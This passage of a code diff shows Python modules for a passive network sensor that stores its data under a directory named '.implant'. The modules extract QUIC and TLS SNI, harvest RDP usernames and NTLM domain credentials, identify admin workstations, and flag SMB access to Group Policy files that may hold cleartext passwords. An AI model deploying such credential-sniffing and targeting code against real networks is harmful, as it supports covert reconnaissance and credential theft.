target=self._flush_loop, daemon=True, name="sensor-quic-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("QUICAnalyzer started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("QUICAnalyzer stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing QUIC packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract UDP payload and check for QUIC Initial."""
if len(pkt) < 42: # eth(14) + ip(20) + udp(8)
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 46:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 17: # UDP
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
udp_start = ihl
if len(ip_header) < udp_start + 8:
return
payload = ip_header[udp_start + 8:]
if len(payload) < 5:
return
self._parse_quic_initial(payload, src_ip, dst_ip, ts)
def _parse_quic_initial(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse QUIC Initial packet and attempt SNI extraction."""
first_byte = data[0]
# Must be long header form (bit 7 set) and fixed bit (bit 6 set)
if not (first_byte & QUIC_LONG_HEADER_BIT):
return
if not (first_byte & QUIC_FIXED_BIT):
return
# Packet type: bits 4-5 of first byte
# For QUIC v1: Initial = 0x00 (bits 4-5 = 00)
# For QUIC v2: Initial = 0x01 (bits 4-5 = 01)
packet_type_bits = (first_byte >> 4) & 0x03
if len(data) < 7:
return
# Version (4 bytes at offset 1)
version = struct.unpack("!I", data[1:5])[0]
# Determine if this is an Initial packet based on version
is_initial = False
if version == QUIC_V1 and packet_type_bits == 0x00:
is_initial = True
elif version == QUIC_V2 and packet_type_bits == 0x01:
is_initial = True
elif version == 0:
# Version negotiation — skip
return
if not is_initial:
return
self._stats["quic_initials"] += 1
# DCID length (1 byte at offset 5)
dcid_len = data[5]
if len(data) < 6 + dcid_len + 1:
return
dcid = data[6:6 + dcid_len]
# SCID length
scid_len_off = 6 + dcid_len
scid_len = data[scid_len_off]
scid_off = scid_len_off + 1
if len(data) < scid_off + scid_len:
return
# Token length (variable-length integer)
token_start = scid_off + scid_len
if token_start >= len(data):
return
token_len, token_len_size = self._read_varint(data, token_start)
if token_len_size == 0:
return
# Payload length (variable-length integer)
payload_len_start = token_start + token_len_size + token_len
if payload_len_start >= len(data):
return
payload_len, payload_len_size = self._read_varint(data, payload_len_start)
if payload_len_size == 0:
return
# Encrypted payload starts after the packet number (included in payload_len)
encrypted_start = payload_len_start + payload_len_size
# Try to extract SNI without full decryption first:
# Scan the unprotected portion for a ClientHello pattern
# (This works for many implementations where the crypto frame is at the start)
sni = self._try_extract_sni_from_initial(data, dcid, version, encrypted_start)
if sni:
self._stats["sni_extracted"] += 1
version_str = f"0x{version:08x}"
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
return
# If we couldn't extract via decryption, try brute-force scan
# for SNI pattern in the raw payload
sni = self._scan_for_sni(data)
if sni:
self._stats["sni_extracted"] += 1
version_str = f"0x{version:08x}"
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
def _try_extract_sni_from_initial(self, data: bytes, dcid: bytes,
version: int, enc_start: int) -> Optional[str]:
"""Attempt to derive Initial keys and decrypt CRYPTO frame for SNI.
Per RFC 9001, Initial keys are derived deterministically from the DCID
using HKDF, so this is not breaking encryption — it's public info.
"""
try:
# Select salt based on version
if version == QUIC_V2:
salt = QUIC_V2_INITIAL_SALT
else:
salt = QUIC_V1_INITIAL_SALT
# Derive initial secret: HKDF-Extract(salt, DCID)
initial_secret = hmac.new(salt, dcid, hashlib.sha256).digest()
# Derive client initial secret using HKDF-Expand-Label
client_secret = self._hkdf_expand_label(
initial_secret, QUIC_CLIENT_INITIAL_LABEL, b"", 32
)
# Derive key and IV from client secret
key = self._hkdf_expand_label(client_secret, b"quic key", b"", 16)
iv = self._hkdf_expand_label(client_secret, b"quic iv", b"", 12)
hp_key = self._hkdf_expand_label(client_secret, b"quic hp", b"", 16)
# Header protection removal and decryption requires AES —
# rather than importing cryptography lib, scan the payload area
# for TLS ClientHello patterns that may be partially visible
# in the packet number protected but not encrypted initial bytes
# Fall through to pattern scan
return None
except Exception:
self._stats["decrypt_failures"] += 1
return None
def _hkdf_expand_label(self, secret: bytes, label: bytes,
context: bytes, length: int) -> bytes:
"""HKDF-Expand-Label as defined in TLS 1.3 / RFC 8446."""
# Build HkdfLabel structure
full_label = b"tls13 " + label
hkdf_label = (
struct.pack("!H", length) +
struct.pack("B", len(full_label)) + full_label +
struct.pack("B", len(context)) + context
)
return self._hkdf_expand(secret, hkdf_label, length)
@staticmethod
def _hkdf_expand(prk: bytes, info: bytes, length: int) -> bytes:
"""HKDF-Expand using HMAC-SHA256."""
hash_len = 32 # SHA-256
n = (length + hash_len - 1) // hash_len
okm = b""
t = b""
for i in range(1, n + 1):
t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest()
okm += t
return okm[:length]
def _scan_for_sni(self, data: bytes) -> Optional[str]:
"""Brute-force scan for TLS SNI extension pattern in raw bytes."""
# Look for the SNI extension pattern: 0x00 0x00 (ext type) followed by
# extension data containing a host_name type (0x00) and ASCII hostname
pos = 0
while pos < len(data) - 10:
# Look for SNI extension header: type=0x0000, then lengths
if data[pos] == 0x00 and data[pos + 1] == 0x00:
if pos + 9 <= len(data):
# Extension length
ext_len = struct.unpack("!H", data[pos + 2:pos + 4])[0]
if 4 < ext_len < 256 and pos + 4 + ext_len <= len(data):
# Server name list length
list_len = struct.unpack("!H", data[pos + 4:pos + 6])[0]
if list_len > 0 and list_len <= ext_len:
# Server name type (0x00 = host_name)
name_type = data[pos + 6]
if name_type == 0x00 and pos + 9 <= len(data):
name_len = struct.unpack("!H", data[pos + 7:pos + 9])[0]
if 1 < name_len < 253 and pos + 9 + name_len <= len(data):
hostname = data[pos + 9:pos + 9 + name_len]
try:
sni = hostname.decode("ascii")
# Validate: must contain a dot and only valid chars
if ("." in sni and
all(c.isalnum() or c in ".-_" for c in sni) and
not sni.startswith(".") and
not sni.endswith(".")):
return sni
except (UnicodeDecodeError, ValueError):
pass
pos += 1
return None
@staticmethod
def _read_varint(data: bytes, offset: int) -> tuple:
"""Read a QUIC variable-length integer. Returns (value, bytes_consumed)."""
if offset >= len(data):
return (0, 0)
first = data[offset]
prefix = (first >> 6) & 0x03
if prefix == 0:
return (first & 0x3F, 1)
elif prefix == 1:
if offset + 2 > len(data):
return (0, 0)
val = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
return (val, 2)
elif prefix == 2:
if offset + 4 > len(data):
return (0, 0)
val = struct.unpack("!I", data[offset:offset + 4])[0] & 0x3FFFFFFF
return (val, 4)
else:
if offset + 8 > len(data):
return (0, 0)
val = struct.unpack("!Q", data[offset:offset + 8])[0] & 0x3FFFFFFFFFFFFFFF
return (val, 8)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "quic_analyzer.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_sni(self, ts: float, src_ip: str, dst_ip: str,
sni: str, version: str) -> None:
with self._buffer_lock:
self._write_buffer.append((ts, src_ip, dst_ip, sni, version))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO quic_sni
(timestamp, source_ip, dest_ip, sni, quic_version)
VALUES (?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush QUIC SNI records")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+378
View File
@@ -0,0 +1,378 @@
#!/usr/bin/env python3
"""RDP session monitor — passive RDP connection tracking.
Parses RDP Connection Request (Cookie field containing username),
CredSSP/NLA TSRequest structures for NTLM domain\\username extraction,
and tracks session patterns to identify admin workstations.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# NTLM signature for CredSSP extraction
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
NTLM_AUTHENTICATE = 3
# X.224 Connection Request type
X224_CONNECTION_REQUEST = 0xE0
# Admin workstation threshold
ADMIN_DEST_THRESHOLD = 3
_DB_INIT = """
CREATE TABLE IF NOT EXISTS rdp_sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
username TEXT DEFAULT '',
domain TEXT DEFAULT '',
client_hostname TEXT DEFAULT '',
keyboard_layout TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_rdp_src ON rdp_sessions(source_ip);
CREATE INDEX IF NOT EXISTS idx_rdp_user ON rdp_sessions(username);
CREATE INDEX IF NOT EXISTS idx_rdp_ts ON rdp_sessions(timestamp);
"""
FLUSH_INTERVAL = 30
class RDPMonitor(BaseModule):
"""Monitor RDP sessions passively for user/host identification."""
name = "rdp_monitor"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track admin patterns: src_ip -> set of dest_ips
self._rdp_targets: dict[str, set] = defaultdict(set)
self._stats = {
"packets_processed": 0,
"connection_requests": 0,
"credssp_auths": 0,
"unique_sessions": 0,
"admin_workstations": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("RDPMonitor requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 3389", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-rdp-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-rdp-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("RDPMonitor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("RDPMonitor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing RDP packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and dispatch to RDP parsers."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 6:
return
# Only process traffic going TO RDP port (client -> server)
if dst_port == 3389:
self._parse_rdp_client(payload, src_ip, dst_ip, ts)
def _parse_rdp_client(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse client-to-server RDP traffic."""
# Check for TPKT header (version=3, reserved=0)
if payload[0] == 0x03 and payload[1] == 0x00:
self._parse_tpkt(payload, src_ip, dst_ip, ts)
return
# Check for NTLMSSP in CredSSP
if NTLMSSP_SIGNATURE in payload:
self._parse_credssp_ntlm(payload, src_ip, dst_ip, ts)
def _parse_tpkt(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TPKT + X.224 Connection Request for username cookie."""
if len(payload) < 11:
return
# TPKT: version(1) + reserved(1) + length(2)
tpkt_len = struct.unpack("!H", payload[2:4])[0]
# X.224: length indicator(1) + type(1)
x224_len = payload[4]
x224_type = payload[5] & 0xF0
if x224_type != X224_CONNECTION_REQUEST:
return
self._stats["connection_requests"] += 1
# After X.224 header (variable length), look for Cookie field
# Cookie format: "Cookie: mstshash=username\r\n"
cookie_data = payload[11:] # Skip past basic X.224 header
username = ""
client_hostname = ""
# Search for mstshash cookie
cookie_idx = cookie_data.find(b'Cookie: mstshash=')
if cookie_idx >= 0:
cookie_start = cookie_idx + 17 # len("Cookie: mstshash=")
cookie_end = cookie_data.find(b'\r\n', cookie_start)
if cookie_end > cookie_start:
username = cookie_data[cookie_start:cookie_end].decode(
"ascii", errors="replace"
).strip()
if username:
self._rdp_targets[src_ip].add(dst_ip)
self._stats["unique_sessions"] += 1
self._check_admin_workstation(src_ip)
self._record_session(ts, src_ip, dst_ip, username, "", "", "")
def _parse_credssp_ntlm(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Extract NTLM credentials from CredSSP TSRequest."""
idx = payload.find(NTLMSSP_SIGNATURE)
if idx < 0 or idx + 12 > len(payload):
return
ntlm_data = payload[idx:]
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
if msg_type != NTLM_AUTHENTICATE or len(ntlm_data) < 72:
return
username, domain, workstation = self._parse_ntlm_type3(ntlm_data)
if username:
self._stats["credssp_auths"] += 1
self._rdp_targets[src_ip].add(dst_ip)
self._stats["unique_sessions"] += 1
self._check_admin_workstation(src_ip)
self._record_session(ts, src_ip, dst_ip, username, domain, workstation, "")
def _parse_ntlm_type3(self, data: bytes) -> tuple:
"""Parse NTLM Type 3 Authenticate for username, domain, workstation."""
if len(data) < 72:
return ("", "", "")
try:
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
ws_len = struct.unpack("<H", data[44:46])[0]
ws_off = struct.unpack("<I", data[48:52])[0]
domain = ""
username = ""
workstation = ""
if domain_len and domain_off + domain_len <= len(data):
domain = data[domain_off:domain_off + domain_len].decode(
"utf-16-le", errors="replace"
)
if user_len and user_off + user_len <= len(data):
username = data[user_off:user_off + user_len].decode(
"utf-16-le", errors="replace"
)
if ws_len and ws_off + ws_len <= len(data):
workstation = data[ws_off:ws_off + ws_len].decode(
"utf-16-le", errors="replace"
)
return (username, domain, workstation)
except Exception:
return ("", "", "")
def _check_admin_workstation(self, src_ip: str) -> None:
"""Check if source IP qualifies as admin workstation."""
targets = self._rdp_targets.get(src_ip, set())
if len(targets) >= ADMIN_DEST_THRESHOLD:
current = len([
ip for ip, dests in self._rdp_targets.items()
if len(dests) >= ADMIN_DEST_THRESHOLD
])
if current > self._stats["admin_workstations"]:
self._stats["admin_workstations"] = current
logger.info(
"Admin workstation detected: %s (RDP to %d hosts)",
src_ip, len(targets)
)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "rdp_monitor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_session(self, ts: float, src_ip: str, dst_ip: str,
username: str, domain: str, client_hostname: str,
keyboard_layout: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, username, domain, client_hostname, keyboard_layout
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO rdp_sessions
(timestamp, source_ip, dest_ip, username, domain,
client_hostname, keyboard_layout)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush RDP sessions")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+396
View File
@@ -0,0 +1,396 @@
#!/usr/bin/env python3
"""SMB file access monitor — passive SMB2/3 session and file tracking.
Parses SMB2/3 Tree Connect requests (share names), Create requests (file paths),
and Read/Write operations. Tracks per-user share access and detects
GPP/SYSVOL access patterns indicating potential Group Policy Preference
password exposure. SMB3 encrypted sessions are opaque.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# SMB2 command IDs
SMB2_NEGOTIATE = 0x0000
SMB2_SESSION_SETUP = 0x0001
SMB2_TREE_CONNECT = 0x0003
SMB2_CREATE = 0x0005
SMB2_READ = 0x0008
SMB2_WRITE = 0x0009
# SMB2 header magic
SMB2_MAGIC = b'\xfeSMB'
# GPP-related paths (case-insensitive matching)
GPP_PATTERNS = (
"groups.xml", "services.xml", "scheduledtasks.xml",
"datasources.xml", "printers.xml", "drives.xml",
"policies", "sysvol",
)
_DB_INIT = """
CREATE TABLE IF NOT EXISTS smb_access (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
username TEXT DEFAULT '',
share_name TEXT DEFAULT '',
file_path TEXT DEFAULT '',
operation TEXT NOT NULL,
smb_version TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_smb_user ON smb_access(username);
CREATE INDEX IF NOT EXISTS idx_smb_share ON smb_access(share_name);
CREATE INDEX IF NOT EXISTS idx_smb_ts ON smb_access(timestamp);
"""
FLUSH_INTERVAL = 30
class SMBMonitor(BaseModule):
"""Monitor SMB2/3 file share access passively."""
name = "smb_monitor"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track session ID -> username mapping
self._sessions: dict[tuple, str] = {} # (src_ip, session_id) -> username
# Track tree ID -> share name mapping
self._trees: dict[tuple, str] = {} # (src_ip, tree_id) -> share_name
self._stats = {
"packets_processed": 0,
"tree_connects": 0,
"file_creates": 0,
"reads": 0,
"writes": 0,
"gpp_access_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("SMBMonitor requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 445", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-smb-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-smb-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("SMBMonitor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("SMBMonitor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing SMB packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and parse SMB2."""
if len(pkt) < 54: # eth(14) + ip(20) + tcp(20) minimum
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 4:
return
# SMB uses NetBIOS Session Service: 1-byte type + 3-byte length
# Type 0x00 = session message
if payload[0] != 0x00:
return
nb_len = struct.unpack("!I", b'\x00' + payload[1:4])[0]
smb_data = payload[4:]
if len(smb_data) < 64:
return
# Determine direction: request goes TO port 445
client_ip = src_ip if dst_port == 445 else dst_ip
self._parse_smb2(smb_data, client_ip, ts)
def _parse_smb2(self, data: bytes, client_ip: str, ts: float) -> None:
"""Parse an SMB2 message header and dispatch to command handler."""
if data[:4] != SMB2_MAGIC:
return
if len(data) < 64:
return
# SMB2 header (64 bytes)
header_len = struct.unpack("<H", data[4:6])[0]
command = struct.unpack("<H", data[12:14])[0]
flags = struct.unpack("<I", data[16:20])[0]
is_response = bool(flags & 0x00000001)
session_id = struct.unpack("<Q", data[40:48])[0]
tree_id = struct.unpack("<I", data[36:40])[0]
smb_body = data[64:]
if command == SMB2_TREE_CONNECT and is_response and len(smb_body) >= 8:
# Tree Connect Response doesn't contain the share name,
# but we see the path in the request
pass
elif command == SMB2_TREE_CONNECT and not is_response:
self._handle_tree_connect_request(smb_body, client_ip, session_id, tree_id, ts)
elif command == SMB2_CREATE and not is_response:
self._handle_create_request(smb_body, client_ip, session_id, tree_id, ts)
elif command == SMB2_READ and not is_response:
self._stats["reads"] += 1
share = self._trees.get((client_ip, tree_id), "")
self._record_access(ts, client_ip, "", share, "", "read", "smb2")
elif command == SMB2_WRITE and not is_response:
self._stats["writes"] += 1
share = self._trees.get((client_ip, tree_id), "")
self._record_access(ts, client_ip, "", share, "", "write", "smb2")
def _handle_tree_connect_request(self, body: bytes, client_ip: str,
session_id: int, tree_id: int,
ts: float) -> None:
"""Parse SMB2 Tree Connect request to extract share name."""
# Tree Connect Request body (SMB 3.1.1):
# StructureSize(2) + Reserved/Flags(2) + PathOffset(2) + PathLength(2)
if len(body) < 8:
return
path_offset = struct.unpack("<H", body[4:6])[0]
path_length = struct.unpack("<H", body[6:8])[0]
# PathOffset is relative to the beginning of the SMB2 header
# Since body starts at offset 64, adjust
# But we receive body starting at offset 0, so the path is at:
# (path_offset - 64) in body terms, OR it may follow immediately
# In practice, path follows the 8-byte struct at body[8:]
if path_length > 0 and len(body) >= 8 + path_length:
try:
share_path = body[8:8 + path_length].decode("utf-16-le", errors="replace")
except Exception:
share_path = ""
# Extract just the share name from \\server\share
share_name = share_path.rsplit("\\", 1)[-1] if "\\" in share_path else share_path
self._trees[(client_ip, tree_id)] = share_name
self._stats["tree_connects"] += 1
username = self._sessions.get((client_ip, session_id), "")
self._record_access(ts, client_ip, username, share_name, "", "tree_connect", "smb2")
# Check for SYSVOL/NETLOGON access
if share_name.lower() in ("sysvol", "netlogon"):
logger.info("SYSVOL/NETLOGON access from %s — potential GPP exposure", client_ip)
def _handle_create_request(self, body: bytes, client_ip: str,
session_id: int, tree_id: int,
ts: float) -> None:
"""Parse SMB2 Create request to extract file path."""
# Create Request: StructureSize(2) + SecurityFlags(1) + RequestedOplockLevel(1)
# + ImpersonationLevel(4) + SmbCreateFlags(8) + Reserved(8)
# + DesiredAccess(4) + FileAttributes(4) + ShareAccess(4)
# + CreateDisposition(4) + CreateOptions(4) + NameOffset(2) + NameLength(2)
if len(body) < 56:
return
name_offset = struct.unpack("<H", body[44:46])[0]
name_length = struct.unpack("<H", body[46:48])[0]
if name_length == 0:
return
# Name follows the fixed-size structure
# name_offset is relative to SMB2 header start, body starts at +64
name_start = 56 # After the fixed-size fields in Create body
if len(body) >= name_start + name_length:
try:
file_path = body[name_start:name_start + name_length].decode(
"utf-16-le", errors="replace"
)
except Exception:
file_path = ""
if file_path:
self._stats["file_creates"] += 1
share = self._trees.get((client_ip, tree_id), "")
username = self._sessions.get((client_ip, session_id), "")
self._record_access(ts, client_ip, username, share, file_path, "create", "smb2")
# GPP detection
file_lower = file_path.lower()
for pattern in GPP_PATTERNS:
if pattern in file_lower:
self._stats["gpp_access_detected"] += 1
emit_credential_found(self.bus, self.name, {
"source": "smb_gpp_access",
"client_ip": client_ip,
"share": share,
"file_path": file_path,
"detail": "GPP/SYSVOL file access — may contain cleartext passwords",
})
break
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "smb_monitor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_access(self, ts: float, source_ip: str, username: str,
share_name: str, file_path: str, operation: str,
smb_version: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, source_ip, username, share_name, file_path, operation, smb_version
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO smb_access
(timestamp, source_ip, username, share_name, file_path,
operation, smb_version)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush SMB access records")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+436
View File
@@ -0,0 +1,436 @@
#!/usr/bin/env python3
"""Passive TLS SNI extraction from ClientHello messages.
Subscribes to capture_bus with BPF "tcp port 443". Parses TLS ClientHello
handshake messages and extracts the Server Name Indication (SNI) extension.
Handles fragmented ClientHello across multiple TCP segments via a reassembly
buffer keyed on (src_ip, src_port, dst_ip, dst_port).
"""
import logging
import os
